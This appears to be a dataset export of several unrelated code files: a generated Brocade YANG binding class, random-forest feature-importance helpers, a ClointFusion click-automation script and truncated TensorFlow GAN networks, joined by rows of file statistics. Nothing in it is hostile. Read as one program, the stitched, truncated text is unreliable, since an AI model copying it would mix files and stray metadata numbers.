u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}), is_container='list', yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='list', is_config=True) self.__load_balancing_disable = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="load-balancing-disable", rest_name="load-balancing-disable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Disable load balancing'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True) self.__ipv6_gw_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..255']}), is_leaf=True, yang_name="ipv6-gw-id", rest_name="ipv6-gw-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'key-default': u'1'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True) self.__hold_time = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..360']}), is_leaf=True, yang_name="hold-time", rest_name="hold-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Hold timer for Fabric Virtual Gateway'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True) self.__description = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Fabric Virtual Gateway specific description', u'cli-multi-value': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='string', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'interface-vlan', u'interface', u've', u'ipv6', u'ipv6-anycast-gateway'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'interface', u'Ve', u'ipv6', u'fabric-virtual-gateway'] def _get_ipv6_gw_id(self): """ Getter method for ipv6_gw_id, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/ipv6_gw_id (uint32) """ return self.__ipv6_gw_id def _set_ipv6_gw_id(self, v, load=False): """ Setter method for ipv6_gw_id, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/ipv6_gw_id (uint32) If this variable is read-only (config: false) in the source YANG file, then _set_ipv6_gw_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv6_gw_id() directly. """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..255']}), is_leaf=True, yang_name="ipv6-gw-id", rest_name="ipv6-gw-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'key-default': u'1'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv6_gw_id must be of a type compatible with uint32""", 'defined-type': "uint32", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..255']}), is_leaf=True, yang_name="ipv6-gw-id", rest_name="ipv6-gw-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'key-default': u'1'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True)""", }) self.__ipv6_gw_id = t if hasattr(self, '_set'): self._set() def _unset_ipv6_gw_id(self): self.__ipv6_gw_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..255']}), is_leaf=True, yang_name="ipv6-gw-id", rest_name="ipv6-gw-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'key-default': u'1'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True) def _get_ipv6_gateway_address(self): """ Getter method for ipv6_gateway_address, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/ipv6_gateway_address (list) """ return self.__ipv6_gateway_address def _set_ipv6_gateway_address(self, v, load=False): """ Setter method for ipv6_gateway_address, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/ipv6_gateway_address (list) If this variable is read-only (config: false) in the source YANG file, then _set_ipv6_gateway_address is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv6_gateway_address() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("ipv6_gw_addr",ipv6_gateway_address.ipv6_gateway_address, yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='ipv6-gw-addr', extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}), is_container='list', yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv6_gateway_address must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("ipv6_gw_addr",ipv6_gateway_address.ipv6_gateway_address, yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='ipv6-gw-addr', extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}), is_container='list', yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='list', is_config=True)""", }) self.__ipv6_gateway_address = t if hasattr(self, '_set'): self._set() def _unset_ipv6_gateway_address(self): self.__ipv6_gateway_address = YANGDynClass(base=YANGListType("ipv6_gw_addr",ipv6_gateway_address.ipv6_gateway_address, yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='ipv6-gw-addr', extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}), is_container='list', yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, u'cli-suppress-list-no': None, u'cli-full-no': None, u'alt-name': u'gateway-address', u'cli-no-match-completion': None, u'callpoint': u'AnycastGatewayGlobalVeIpv6GatewayAddress'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='list', is_config=True) def _get_gratuitous_arp(self): """ Getter method for gratuitous_arp, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/gratuitous_arp (container) """ return self.__gratuitous_arp def _set_gratuitous_arp(self, v, load=False): """ Setter method for gratuitous_arp, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/gratuitous_arp (container) If this variable is read-only (config: false) in the source YANG file, then _set_gratuitous_arp is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_gratuitous_arp() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=gratuitous_arp.gratuitous_arp, is_container='container', presence=False, yang_name="gratuitous-arp", rest_name="gratuitous-arp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Gratuitous ARP'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """gratuitous_arp must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=gratuitous_arp.gratuitous_arp, is_container='container', presence=False, yang_name="gratuitous-arp", rest_name="gratuitous-arp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Gratuitous ARP'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='container', is_config=True)""", }) self.__gratuitous_arp = t if hasattr(self, '_set'): self._set() def _unset_gratuitous_arp(self): self.__gratuitous_arp = YANGDynClass(base=gratuitous_arp.gratuitous_arp, is_container='container', presence=False, yang_name="gratuitous-arp", rest_name="gratuitous-arp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Gratuitous ARP'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='container', is_config=True) def _get_hold_time(self): """ Getter method for hold_time, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/hold_time (uint32) """ return self.__hold_time def _set_hold_time(self, v, load=False): """ Setter method for hold_time, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/hold_time (uint32) If this variable is read-only (config: false) in the source YANG file, then _set_hold_time is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_hold_time() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..360']}), is_leaf=True, yang_name="hold-time", rest_name="hold-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Hold timer for Fabric Virtual Gateway'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """hold_time must be of a type compatible with uint32""", 'defined-type': "uint32", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..360']}), is_leaf=True, yang_name="hold-time", rest_name="hold-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Hold timer for Fabric Virtual Gateway'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True)""", }) self.__hold_time = t if hasattr(self, '_set'): self._set() def _unset_hold_time(self): self.__hold_time = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..360']}), is_leaf=True, yang_name="hold-time", rest_name="hold-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Hold timer for Fabric Virtual Gateway'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='uint32', is_config=True) def _get_load_balancing_disable(self): """ Getter method for load_balancing_disable, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/load_balancing_disable (empty) """ return self.__load_balancing_disable def _set_load_balancing_disable(self, v, load=False): """ Setter method for load_balancing_disable, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/load_balancing_disable (empty) If this variable is read-only (config: false) in the source YANG file, then _set_load_balancing_disable is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_load_balancing_disable() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="load-balancing-disable", rest_name="load-balancing-disable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Disable load balancing'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """load_balancing_disable must be of a type compatible with empty""", 'defined-type': "empty", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="load-balancing-disable", rest_name="load-balancing-disable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Disable load balancing'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True)""", }) self.__load_balancing_disable = t if hasattr(self, '_set'): self._set() def _unset_load_balancing_disable(self): self.__load_balancing_disable = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="load-balancing-disable", rest_name="load-balancing-disable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Disable load balancing'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True) def _get_enable(self): """ Getter method for enable, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/enable (empty) """ return self.__enable def _set_enable(self, v, load=False): """ Setter method for enable, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/enable (empty) If this variable is read-only (config: false) in the source YANG file, then _set_enable is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enable() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Enable Fabric Virtual Gateway', u'cli-show-no': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """enable must be of a type compatible with empty""", 'defined-type': "empty", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Enable Fabric Virtual Gateway', u'cli-show-no': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True)""", }) self.__enable = t if hasattr(self, '_set'): self._set() def _unset_enable(self): self.__enable = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Enable Fabric Virtual Gateway', u'cli-show-no': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True) def _get_description(self): """ Getter method for description, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/description (string) """ return self.__description def _set_description(self, v, load=False): """ Setter method for description, mapped from YANG variable /interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/description (string) If this variable is read-only (config: false) in the source YANG file, then _set_description is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_description() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Fabric Virtual Gateway specific description', u'cli-multi-value': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """description must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Fabric Virtual Gateway specific description', u'cli-multi-value': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='string', is_config=True)""", }) self.__description = t if hasattr(self, '_set'): self._set() def _unset_description(self): self.__description = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'length': [u'1 .. 63']}), is_leaf=True, yang_name="description", rest_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Fabric Virtual Gateway specific description', u'cli-multi-value': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='string', is_config=True) ipv6_gw_id = __builtin__.property(_get_ipv6_gw_id, _set_ipv6_gw_id) ipv6_gateway_address = __builtin__.property(_get_ipv6_gateway_address, _set_ipv6_gateway_address) gratuitous_arp = __builtin__.property(_get_gratuitous_arp, _set_gratuitous_arp) hold_time = __builtin__.property(_get_hold_time, _set_hold_time) load_balancing_disable = __builtin__.property(_get_load_balancing_disable, _set_load_balancing_disable) enable = __builtin__.property(_get_enable, _set_enable) description = __builtin__.property(_get_description, _set_description) _pyangbind_elements = {'ipv6_gw_id': ipv6_gw_id, 'ipv6_gateway_address': ipv6_gateway_address, 'gratuitous_arp': gratuitous_arp, 'hold_time': hold_time, 'load_balancing_disable': load_balancing_disable, 'enable': enable, 'description': description, }
83.561765
1,179
0.746753
3,908
28,411
5.185773
0.055527
0.038488
0.044212
0.028422
0.852265
0.83085
0.820142
0.806425
0.802181
0.794286
0
0.012498
0.115659
28,411
339
1,180
83.80826
0.794109
0.135792
0
0.439252
0
0.03271
0.408633
0.191656
0
0
0
0
0
1
0.11215
false
0
0.046729
0
0.275701
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3e4c803f9d68cab9165b6dcf52577ce576452cf3
3,090
py
Python
notebooks/feature_selection/embedded_method.py
likweitan/final_year_project
a86059cad92efe4edd85364d21b4ee6a56234b30
[ "MIT" ]
null
null
null
notebooks/feature_selection/embedded_method.py
likweitan/final_year_project
a86059cad92efe4edd85364d21b4ee6a56234b30
[ "MIT" ]
null
null
null
notebooks/feature_selection/embedded_method.py
likweitan/final_year_project
a86059cad92efe4edd85364d21b4ee6a56234b30
[ "MIT" ]
1
2021-07-10T15:54:54.000Z
2021-07-10T15:54:54.000Z
#import pandas as pd import numpy as np import matplotlib.pyplot as plt #import seaborn as sns #from sklearn.model_selection import train_test_split from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier #RandomForestRegressor #from sklearn.feature_selection import SelectFromModel # 2018.11.27 Created by Eamon.Zhang def rf_importance(X_train,y_train,max_depth=10,class_weight=None,top_n=15,n_estimators=50,random_state=0): model = RandomForestClassifier(n_estimators=n_estimators,max_depth=max_depth, random_state=random_state,class_weight=class_weight, n_jobs=-1) model.fit(X_train, y_train) importances = model.feature_importances_ indices = np.argsort(importances)[::-1] feat_labels = X_train.columns std = np.std([tree.feature_importances_ for tree in model.estimators_], axis=0) # inter-trees variability. print("Feature ranking:") # l1,l2,l3,l4 = [],[],[],[] for f in range(X_train.shape[1]): print("%d. feature no:%d feature name:%s (%f)" % (f + 1, indices[f], feat_labels[indices[f]], importances[indices[f]])) # l1.append(f+1) # l2.append(indices[f]) # l3.append(feat_labels[indices[f]]) # l4.append(importances[indices[f]]) #feature_rank = pd.Dataframe(zip(l1,l2,l3,l4),columns=['id','indice','feature','importances']) # plotting indices = indices[0:top_n] plt.figure() plt.title("Feature importances top %d" % top_n) plt.bar(range(top_n), importances[indices], color="r", yerr=std[indices], align="center") plt.xticks(range(top_n), indices) plt.xlim([-1,top_n]) plt.show() return model def gbt_importance(X_train,y_train,max_depth=10,top_n=15,n_estimators=50,random_state=0): model = GradientBoostingClassifier(n_estimators=n_estimators,max_depth=max_depth, random_state=random_state) model.fit(X_train, y_train) importances = model.feature_importances_ indices = np.argsort(importances)[::-1] feat_labels = X_train.columns std = np.std([tree[0].feature_importances_ for tree in model.estimators_], axis=0) # inter-trees variability. print("Feature ranking:") # l1,l2,l3,l4 = [],[],[],[] for f in range(X_train.shape[1]): print("%d. feature no:%d feature name:%s (%f)" % (f + 1, indices[f], feat_labels[indices[f]], importances[indices[f]])) # l1.append(f+1) # l2.append(indices[f]) # l3.append(feat_labels[indices[f]]) # l4.append(importances[indices[f]]) # feature_rank = pd.Dataframe(zip(l1,l2,l3,l4),columns=['id','indice','feature','importances']) # plotting indices = indices[0:top_n] plt.figure() plt.title("Feature importances top %d" % top_n) plt.bar(range(top_n), importances[indices], color="r", yerr=std[indices], align="center") plt.xticks(range(top_n), indices) plt.xlim([-1,top_n]) plt.show() return model
40.657895
127
0.650162
420
3,090
4.616667
0.238095
0.024755
0.021661
0.024755
0.797318
0.797318
0.797318
0.797318
0.764312
0.764312
0
0.025285
0.206472
3,090
76
128
40.657895
0.765498
0.256634
0
0.73913
0
0
0.07645
0
0
0
0
0
0
1
0.043478
false
0
0.369565
0
0.456522
0.086957
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
7
3e7ff3055e0ca3e8309002a6e7812070ffe4c1d6
102
py
Python
backend/util/response/models/price_range/__init__.py
willrp/willstores-ws
62c4f400f40fed1aef4f316c7e73dfecba98d026
[ "MIT" ]
4
2020-02-19T09:27:23.000Z
2021-11-26T00:42:06.000Z
backend/util/response/store/models/price_range/__init__.py
willrp/willbuyer
069836a91c777ede6f62a16daa9f26e555d66bcb
[ "MIT" ]
null
null
null
backend/util/response/store/models/price_range/__init__.py
willrp/willbuyer
069836a91c777ede6f62a16daa9f26e555d66bcb
[ "MIT" ]
null
null
null
from .price_range_response import PriceRangeResponse from .price_range_schema import PriceRangeSchema
34
52
0.901961
12
102
7.333333
0.666667
0.204545
0.318182
0
0
0
0
0
0
0
0
0
0.078431
102
2
53
51
0.93617
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e4b00a34702affa3536b4562541395d06fd0f650
1,038
py
Python
RR-BOT-OCR_2020-12-29_08-27-26.py
ClointFusion-Community/CFC-Projects
c6381738ade07e6e8979bbae37400ec2b4e626c5
[ "MIT" ]
null
null
null
RR-BOT-OCR_2020-12-29_08-27-26.py
ClointFusion-Community/CFC-Projects
c6381738ade07e6e8979bbae37400ec2b4e626c5
[ "MIT" ]
null
null
null
RR-BOT-OCR_2020-12-29_08-27-26.py
ClointFusion-Community/CFC-Projects
c6381738ade07e6e8979bbae37400ec2b4e626c5
[ "MIT" ]
null
null
null
import ClointFusion as cf cf.launch_any_exe_bat_application('notepad') cf.key_write_enter('RR',key='') cf.key_press('shift') cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(img=str(r'C:\Users\mrmay\AppData\Local\Temp\cf_log_jiax0hen_generator\Images\Snips\2-UntitledNotepad-1527_466.png'),conf=0.7)) cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(img=str(r'C:\Users\mrmay\AppData\Local\Temp\cf_log_jiax0hen_generator\Images\Snips\3-UntitledNotepad-17_43.png'),conf=0.7)) cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(img=str(r'C:\Users\mrmay\AppData\Local\Temp\cf_log_jiax0hen_generator\Images\Snips\4-UntitledNotepad-58_245.png'),conf=0.7)) cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(img=str(r'C:\Users\mrmay\AppData\Local\Temp\cf_log_jiax0hen_generator\Images\Snips\5-Notepad-903_249.png'),conf=0.7)) cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(img=str(r'C:\Users\mrmay\AppData\Local\Temp\cf_log_jiax0hen_generator\Images\Snips\6-Notepad-1007_374.png'),conf=0.7))
103.8
186
0.83526
191
1,038
4.21466
0.303665
0.086957
0.074534
0.086957
0.759006
0.759006
0.759006
0.759006
0.759006
0.759006
0
0.047758
0.011561
1,038
9
187
115.333333
0.736842
0
0
0
0
0.555556
0.488439
0.474952
0
0
0
0
0
1
0
true
0
0.111111
0
0.111111
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
1
0
1
0
0
0
0
0
1
0
1
null
0
0
0
0
0
0
1
0
0
0
0
0
0
10
9049af9533d98f7d1bcbbe74ad2b8de7acdc9408
15,451
py
Python
models/dataset_networks.py
killianlevacher/defenseInvGAN-src
8fa398536773c5bc00c906562d2d9359572b8157
[ "MIT" ]
14
2019-12-12T11:28:18.000Z
2022-03-09T11:56:04.000Z
models/dataset_networks.py
killianlevacher/defenseInvGAN-src
8fa398536773c5bc00c906562d2d9359572b8157
[ "MIT" ]
7
2019-12-16T22:20:01.000Z
2022-02-10T00:45:21.000Z
models/dataset_networks.py
killianlevacher/defenseInvGAN-src
8fa398536773c5bc00c906562d2d9359572b8157
[ "MIT" ]
2
2020-04-01T09:02:00.000Z
2021-08-01T14:27:11.000Z
import tensorflow as tf from tflib.layers import * def mnist_generator(z, is_training=True): net_dim = 64 use_sn = False update_collection = None with tf.variable_scope('Generator', reuse=tf.AUTO_REUSE): output = linear(z, 4*4*4*net_dim, sn=use_sn, name='linear') output = batch_norm(output, is_training=is_training, name='bn_linear') output = tf.nn.relu(output) output = tf.reshape(output, [-1, 4, 4, 4*net_dim]) # deconv-bn-relu output = deconv2d(output, 2*net_dim, 5, 2, sn=use_sn, name='deconv_0') output = batch_norm(output, is_training=is_training, name='bn_0') output = tf.nn.relu(output) output = output[:, :7, :7, :] output = deconv2d(output, net_dim, 5, 2, sn=use_sn, name='deconv_1') output = batch_norm(output, is_training=is_training, name='bn_1') output = tf.nn.relu(output) output = deconv2d(output, 1, 5, 2, sn=use_sn, name='deconv_2') output = tf.sigmoid(output) return output def mnist_discriminator(x, update_collection=None, is_training=False): net_dim = 64 use_sn = True with tf.variable_scope('Discriminator', reuse=tf.AUTO_REUSE): # block 1 x = conv2d(x, net_dim, 5, 2, sn=use_sn, update_collection=update_collection, name='conv0') x = lrelu(x) # block 2 x = conv2d(x, 2 * net_dim, 5, 2, sn=use_sn, update_collection=update_collection, name='conv1') x = lrelu(x) # block 3 x = conv2d(x, 4 * net_dim, 5, 2, sn=use_sn, update_collection=update_collection, name='conv2') x = lrelu(x) 